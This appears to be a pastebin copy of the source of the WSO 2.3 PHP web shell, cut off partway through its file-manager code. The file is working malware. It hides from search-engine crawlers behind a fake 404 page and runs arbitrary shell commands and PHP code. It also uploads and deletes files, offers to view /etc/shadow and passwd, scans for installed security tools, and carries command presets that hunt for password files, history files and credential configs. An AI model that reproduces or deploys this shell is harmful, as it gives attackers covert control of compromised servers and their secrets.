· 9 years ago · Jul 04, 2017, 09:02 AM
1
2$auth_pass = "";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_charset = 'Windows-1251';
6
7if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
8 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
9 foreach($userAgents as $agent)
10 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15@session_start();
16@error_reporting(0);
17@ini_set('error_log',NULL);
18@ini_set('log_errors',0);
19@ini_set('max_execution_time',0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22@define('VERSION', '2.3');
23if( get_magic_quotes_gpc() ) {
24 function WSOstripslashes($array) {
25 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26 }
27 $_POST = WSOstripslashes($_POST);
28}
29function wsoLogin() {
30 die("<h1>Not Found</h1>
31<p>The requested URL was not found on this server.</p>
32<hr>
33<address>Apache Server at ".$_SERVER['HTTP_HOST']." Port 80</address>
34 <style>
35 input { margin:0;background-color:#fff;border:1px solid #fff; }
36 </style>
37 <center>
38 <form method=post>
39 <input type=password name=pass>
40 </form>");
41}
42if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
43 if( empty( $auth_pass ) ||
44 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
45 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
46 else
47 wsoLogin();
48
49if( strtolower( substr(PHP_OS,0,3) ) == "win" )
50 $os = 'win';
51else
52 $os = 'nix';
53$safe_mode = @ini_get('safe_mode');
54$disable_functions = @ini_get('disable_functions');
55$home_cwd = @getcwd();
56if( isset( $_POST['c'] ) )
57 @chdir($_POST['c']);
58$cwd = @getcwd();
59if( $os == 'win') {
60 $home_cwd = str_replace("\\", "/", $home_cwd);
61 $cwd = str_replace("\\", "/", $cwd);
62}
63if( $cwd[strlen($cwd)-1] != '/' )
64 $cwd .= '/';
65
66if($os == 'win')
67 $aliases = array(
68 "List Directory" => "dir",
69 "Find index.php in current dir" => "dir /s /w /b index.php",
70 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
71 "Show active connections" => "netstat -an",
72 "Show running services" => "net start",
73 "User accounts" => "net user",
74 "Show computers" => "net view",
75 "ARP Table" => "arp -a",
76 "IP Configuration" => "ipconfig /all"
77 );
78else
79 $aliases = array(
80 "List dir" => "ls -lha",
81 "list file attributes on a Linux second extended file system" => "lsattr -va",
82 "show opened ports" => "netstat -an | grep -i listen",
83 "Find" => "",
84 "find all suid files" => "find / -type f -perm -04000 -ls",
85 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
86 "find all sgid files" => "find / -type f -perm -02000 -ls",
87 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
88 "find config.inc.php files" => "find / -type f -name config.inc.php",
89 "find config* files" => "find / -type f -name \"config*\"",
90 "find config* files in current dir" => "find . -type f -name \"config*\"",
91 "find all writable folders and files" => "find / -perm -2 -ls",
92 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
93 "find all service.pwd files" => "find / -type f -name service.pwd",
94 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
95 "find all .htpasswd files" => "find / -type f -name .htpasswd",
96 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
97 "find all .bash_history files" => "find / -type f -name .bash_history",
98 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
99 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
100 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
101 "Locate" => "",
102 "locate httpd.conf files" => "locate httpd.conf",
103 "locate vhosts.conf files" => "locate vhosts.conf",
104 "locate proftpd.conf files" => "locate proftpd.conf",
105 "locate psybnc.conf files" => "locate psybnc.conf",
106 "locate my.conf files" => "locate my.conf",
107 "locate admin.php files" =>"locate admin.php",
108 "locate cfg.php files" => "locate cfg.php",
109 "locate conf.php files" => "locate conf.php",
110 "locate config.dat files" => "locate config.dat",
111 "locate config.php files" => "locate config.php",
112 "locate config.inc files" => "locate config.inc",
113 "locate config.inc.php" => "locate config.inc.php",
114 "locate config.default.php files" => "locate config.default.php",
115 "locate config* files " => "locate config",
116 "locate .conf files"=>"locate '.conf'",
117 "locate .pwd files" => "locate '.pwd'",
118 "locate .sql files" => "locate '.sql'",
119 "locate .htpasswd files" => "locate '.htpasswd'",
120 "locate .bash_history files" => "locate '.bash_history'",
121 "locate .mysql_history files" => "locate '.mysql_history'",
122 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
123 "locate backup files" => "locate backup",
124 "locate dump files" => "locate dump",
125 "locate priv files" => "locate priv"
126 );
127
128function wsoHeader() {
129 if(empty($_POST['charset']))
130 $_POST['charset'] = $GLOBALS['default_charset'];
131 global $color;
132 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
133<style>
134body{background-color:#444;color:#e1e1e1;}
135body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
136table.info{ color:#fff;background-color:#222; }
137span,h1,a{ color: $color !important; }
138span{ font-weight: bolder; }
139h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
140div.content{ padding: 5px;margin-left:5px;background-color:#333; }
141a{ text-decoration:none; }
142a:hover{ text-decoration:underline; }
143.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
144.bigarea{ width:100%;height:250px; }
145input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
146form{ margin:0px; }
147#toolsTbl{ text-align:center; }
148.toolsInp{ width: 300px }
149.main th{text-align:left;background-color:#5e5e5e;}
150.main tr:hover{background-color:#5e5e5e}
151.l1{background-color:#444}
152pre{font-family:Courier,Monospace;}
153</style>
154<script>
155 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
156 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
157 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
158 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
159 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
160 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
161 function set(a,c,p1,p2,p3,charset) {
162 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
163 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
164 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
165 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
166 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
167 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
168 }
169 function g(a,c,p1,p2,p3,charset) {
170 set(a,c,p1,p2,p3,charset);
171 document.mf.submit();
172 }
173 function a(a,c,p1,p2,p3,charset) {
174 set(a,c,p1,p2,p3,charset);
175 var params = 'ajax=true';
176 for(i=0;i<document.mf.elements.length;i++)
177 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
178 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
179 }
180 function sr(url, params) {
181 if (window.XMLHttpRequest)
182 req = new XMLHttpRequest();
183 else if (window.ActiveXObject)
184 req = new ActiveXObject('Microsoft.XMLHTTP');
185 if (req) {
186 req.onreadystatechange = processReqChange;
187 req.open('POST', url, true);
188 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
189 req.send(params);
190 }
191 }
192 function processReqChange() {
193 if( (req.readyState == 4) )
194 if(req.status == 200) {
195 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
196 var arr=reg.exec(req.responseText);
197 eval(arr[2].substr(0, arr[1]));
198 } else alert('Request error!');
199 }
200</script>
201<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
202<form method=post name=mf style='display:none;'>
203<input type=hidden name=a>
204<input type=hidden name=c>
205<input type=hidden name=p1>
206<input type=hidden name=p2>
207<input type=hidden name=p3>
208<input type=hidden name=charset>
209</form>";
210 $freeSpace = @diskfreespace($GLOBALS['cwd']);
211 $totalSpace = @disk_total_space($GLOBALS['cwd']);
212 $totalSpace = $totalSpace?$totalSpace:1;
213 $release = @php_uname('r');
214 $kernel = @php_uname('s');
215 $millink = 'http://milw0rm.com/search.php?dong=';
216 if( strpos('Linux', $kernel) !== false )
217 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
218 else
219 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
220 if(!function_exists('posix_getegid')) {
221 $user = @get_current_user();
222 $uid = @getmyuid();
223 $gid = @getmygid();
224 $group = "?";
225 } else {
226 $uid = @posix_getpwuid(@posix_geteuid());
227 $gid = @posix_getgrgid(@posix_getegid());
228 $user = $uid['name'];
229 $uid = $uid['uid'];
230 $group = $gid['name'];
231 $gid = $gid['gid'];
232 }
233 $cwd_links = '';
234 $path = explode("/", $GLOBALS['cwd']);
235 $n=count($path);
236 for($i=0;$i<$n-1;$i++) {
237 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
238 for($j=0;$j<=$i;$j++)
239 $cwd_links .= $path[$j].'/';
240 $cwd_links .= "\")'>".$path[$i]."/</a>";
241 }
242 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
243 $opt_charsets = '';
244 foreach($charsets as $item)
245 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
246 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
247 if(!empty($GLOBALS['auth_pass']))
248 $m['Logout'] = 'Logout';
249 $m['Self remove'] = 'SelfRemove';
250 $menu = '';
251 foreach($m as $k => $v)
252 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
253 $drives = "";
254 if ($GLOBALS['os'] == 'win') {
255 foreach( range('c','z') as $drive )
256 if (is_dir($drive.':\\'))
257 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
258 }
259 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
260 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
261 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
262 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
263}
264
265function wsoFooter() {
266 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
267 echo "
268</div>
269<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
270 <tr>
271 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
272 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
273 </tr><tr>
274 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
275 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
276 </tr><tr>
277 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
278 <td><form method='post' ENCTYPE='multipart/form-data'>
279 <input type=hidden name=a value='FilesMAn'>
280 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
281 <input type=hidden name=p1 value='uploadFile'>
282 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
283 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
284 </tr></table></div></body></html>";
285}
286
287if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
288if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
289function wsoEx($in) {
290 $out = '';
291 if(function_exists('exec')) {
292 @exec($in,$out);
293 $out = @join("\n",$out);
294 }elseif(function_exists('passthru')) {
295 ob_start();
296 @passthru($in);
297 $out = ob_get_clean();
298 }elseif(function_exists('system')) {
299 ob_start();
300 @system($in);
301 $out = ob_get_clean();
302 }elseif(function_exists('shell_exec')) {
303 $out = shell_exec($in);
304 }elseif(is_resource($f = @popen($in,"r"))) {
305 $out = "";
306 while(!@feof($f))
307 $out .= fread($f,1024);
308 pclose($f);
309 }
310 return $out;
311}
312function wsoViewSize($s) {
313 if($s >= 1073741824)
314 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
315 elseif($s >= 1048576)
316 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
317 elseif($s >= 1024)
318 return sprintf('%1.2f', $s / 1024 ) . ' KB';
319 else
320 return $s . ' B';
321}
322
323function wsoPerms($p) {
324 if (($p & 0xC000) == 0xC000)$i = 's';
325 elseif (($p & 0xA000) == 0xA000)$i = 'l';
326 elseif (($p & 0x8000) == 0x8000)$i = '-';
327 elseif (($p & 0x6000) == 0x6000)$i = 'b';
328 elseif (($p & 0x4000) == 0x4000)$i = 'd';
329 elseif (($p & 0x2000) == 0x2000)$i = 'c';
330 elseif (($p & 0x1000) == 0x1000)$i = 'p';
331 else $i = 'u';
332 $i .= (($p & 0x0100) ? 'r' : '-');
333 $i .= (($p & 0x0080) ? 'w' : '-');
334 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
335 $i .= (($p & 0x0020) ? 'r' : '-');
336 $i .= (($p & 0x0010) ? 'w' : '-');
337 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
338 $i .= (($p & 0x0004) ? 'r' : '-');
339 $i .= (($p & 0x0002) ? 'w' : '-');
340 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
341 return $i;
342}
343function wsoPermsColor($f) {
344 if (!@is_readable($f))
345 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
346 elseif (!@is_writable($f))
347 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
348 else
349 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
350}
351if(!function_exists("scandir")) {
352 function scandir($dir) {
353 $dh = opendir($dir);
354 while (false !== ($filename = readdir($dh))) {
355 $files[] = $filename;
356 }
357 return $files;
358 }
359}
360function wsoWhich($p) {
361 $path = wsoEx('which '.$p);
362 if(!empty($path))
363 return $path;
364 return false;
365}
366function actionSecInfo() {
367 wsoHeader();
368 echo '<h1>Server security information</h1><div class=content>';
369 function wsoSecParam($n, $v) {
370 $v = trim($v);
371 if($v) {
372 echo '<span>'.$n.': </span>';
373 if(strpos($v, "\n") === false)
374 echo $v.'<br>';
375 else
376 echo '<pre class=ml1>'.$v.'</pre>';
377 }
378 }
379
380 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
381 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
382 wsoSecParam('Open base dir', @ini_get('open_basedir'));
383 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
384 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
385 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
386 $temp=array();
387 if(function_exists('mysql_get_client_info'))
388 $temp[] = "MySql (".mysql_get_client_info().")";
389 if(function_exists('mssql_connect'))
390 $temp[] = "MSSQL";
391 if(function_exists('pg_connect'))
392 $temp[] = "PostgreSQL";
393 if(function_exists('oci_connect'))
394 $temp[] = "Oracle";
395 wsoSecParam('Supported databases', implode(', ', $temp));
396 echo '<br>';
397
398 if( $GLOBALS['os'] == 'nix' ) {
399 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
400 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
401 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
402 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
403 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
404 wsoSecParam('OS version', @file_get_contents('/proc/version'));
405 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
406 if(!$GLOBALS['safe_mode']) {
407 echo '<br>';
408 $temp=array();
409 foreach ($userful as $item)
410 if(wsoWhich($item)){$temp[]=$item;}
411 wsoSecParam('Userful', implode(', ',$temp));
412 $temp=array();
413 foreach ($danger as $item)
414 if(wsoWhich($item)){$temp[]=$item;}
415 wsoSecParam('Danger', implode(', ',$temp));
416 $temp=array();
417 foreach ($downloaders as $item)
418 if(wsoWhich($item)){$temp[]=$item;}
419 wsoSecParam('Downloaders', implode(', ',$temp));
420 echo '<br/>';
421 wsoSecParam('HDD space', wsoEx('df -h'));
422 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
423 }
424 } else {
425 wsoSecParam('OS Version',wsoEx('ver'));
426 wsoSecParam('Account Settings',wsoEx('net accounts'));
427 wsoSecParam('User Accounts',wsoEx('net user'));
428 }
429 echo '</div>';
430 wsoFooter();
431}
432
433function actionPhp() {
434 if( isset($_POST['ajax']) ) {
435 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
436 ob_start();
437 eval($_POST['p1']);
438 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
439 echo strlen($temp), "\n", $temp;
440 exit;
441 }
442 wsoHeader();
443 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
444 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
445 ob_start();
446 phpinfo();
447 $tmp = ob_get_clean();
448 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
449 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
450 echo str_replace('h1','h2',$tmp).'</div><br>';
451 }
452 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
453 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
454 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
455 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
456 if(!empty($_POST['p1'])) {
457 ob_start();
458 eval($_POST['p1']);
459 echo htmlspecialchars(ob_get_clean());
460 }
461 echo '</pre></div>';
462 wsoFooter();
463}
464
465function actionFilesMan() {
466 wsoHeader();
467 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
468 if(!empty($_POST['p1'])) {
469 switch($_POST['p1']) {
470 case 'uploadFile':
471 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
472 echo "Can't upload file!";
473 break;
474 case 'mkdir':
475 if(!@mkdir($_POST['p2']))
476 echo "Can't create new dir";
477 break;
478 case 'delete':
479 function deleteDir($path) {
480 $path = (substr($path,-1)=='/') ? $path:$path.'/';
481 $dh = opendir($path);
482 while ( ($item = readdir($dh) ) !== false) {
483 $item = $path.$item;
484 if ( (basename($item) == "..") || (basename($item) == ".") )
485 continue;
486 $type = filetype($item);
487 if ($type == "dir")
488 deleteDir($item);
489 else
490 @unlink($item);
491 }
492 closedir($dh);
493 rmdir($path);
494 }
495 if(is_array(@$_POST['f']))
496 foreach($_POST['f'] as $f) {
497 $f = urldecode($f);
498 if(is_dir($f))
499 deleteDir($f);
500 else
501 @unlink($f);
502 }
503 break;
504 case 'paste':
505 if($_SESSION['act'] == 'copy') {
506 function copy_paste($c,$s,$d){
507 if(is_dir($c.$s)){
508 mkdir($d.$s);
509 $h = @opendir($c.$s);
510 while (($f = @readdir($h)) !== false)
511 if (($f != ".") and ($f != "..")) {
512 copy_paste($c.$s.'/',$f, $d.$s.'/');
513 }
514 } elseif(is_file($c.$s)) {
515 @copy($c.$s, $d.$s);
516 }
517 }
518 foreach($_SESSION['f'] as $f)
519 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
520 } elseif($_SESSION['act'] == 'move') {
521 function move_paste($c,$s,$d){
522 if(is_dir($c.$s)){
523 mkdir($d.$s);
524 $h = @opendir($c.$s);
525 while (($f = @readdir($h)) !== false)
526 if (($f != ".") and ($f != "..")) {
527 copy_paste($c.$s.'/',$f, $d.$s.'/');
528 }
529 } elseif(@is_file($c.$s)) {
530 @copy($c.$s, $d.$s);
531 }
532 }
533 foreach($_SESSION['f'] as $f)
534 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
535 } elseif($_SESSION['act'] == 'zip') {
536 if(class_exists('ZipArchive')) {
537 $zip = new ZipArchive();
538 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
539 chdir($_SESSION['c']);
540 foreach($_SESSION['f'] as $f) {
541 if(@is_file($_SESSION['c'].$f))
542 $zip->addFile($_SESSION['c'].$f, $f);
543 elseif(@is_dir($_SESSION['c'].$f)) {
544 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
545 foreach ($iterator as $key=>$value) {
546 $zip->addFile(realpath($key), $key);
547 }
548 }
549 }
550 chdir($GLOBALS['cwd']);
551 $zip->close();
552 }
553 }
554 } elseif($_SESSION['act'] == 'unzip') {
555 if(class_exists('ZipArchive')) {
556 $zip = new ZipArchive();
557 foreach($_SESSION['f'] as $f) {
558 if($zip->open($_SESSION['c'].$f)) {
559 $zip->extractTo($GLOBALS['cwd']);
560 $zip->close();
561 }
562 }
563 }
564 }
565 unset($_SESSION['f']);
566 break;
567 default:
568 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
569 $_SESSION['act'] = @$_POST['p1'];
570 $_SESSION['f'] = @$_POST['f'];
571 foreach($_SESSION['f'] as $k => $f)
572 $_SESSION['f'][$k] = urldecode($f);
573 $_SESSION['c'] = @$_POST['c'];
574 }
575 break;
576 }
577 }
578 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
579 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
580 global $sort;
581 $sort = array('name', 1);
582 if(!empty($_POST['p1'])) {
583 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
584 $sort = array($match[1], (int)$match[2]);
585 }
586echo "<script>
587 function sa() {
588 for(i=0;i<document.files.elements.length;i++)
589 if(document.files.elements[i].type == 'checkbox')
590 document.files.elements[i].checked = document.files.elements[0].checked;
591 }
592</script>
593<table width='100%' class='main' cellspacing='0' cellpadding='2'>
594<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
595 $dirs = $files = array();
596 $n = count($dirContent);
597 for($i=0;$i<$n;$i++) {
598 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
599 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
600 $tmp = array('name' => $dirContent[$i],
601 'path' => $GLOBALS['cwd'].$dirContent[$i],
602 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
603 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
604 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
605 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
606 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
607 );
608 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
609 $files[] = array_merge($tmp, array('type' => 'file'));
610 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
611 $dirs[] = array_merge($tmp, array('type' => 'link'));
612 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
613 $dirs[] = array_merge($tmp, array('type' => 'dir'));
614 }
615 $GLOBALS['sort'] = $sort;
616 function wsoCmp($a, $b) {
617 if($GLOBALS['sort'][0] != 'size')
618 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
619 else
620 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
621 }
622 usort($files, "wsoCmp");
623 usort($dirs, "wsoCmp");
624 $files = array_merge($dirs, $files);
625 $l = 0;
626 foreach($files as $f) {
627 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
628 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
629 $l = $l?0:1;
630 }
631 echo "<tr><td colspan=7>
632 <input type=hidden name=a value='FilesMan'>
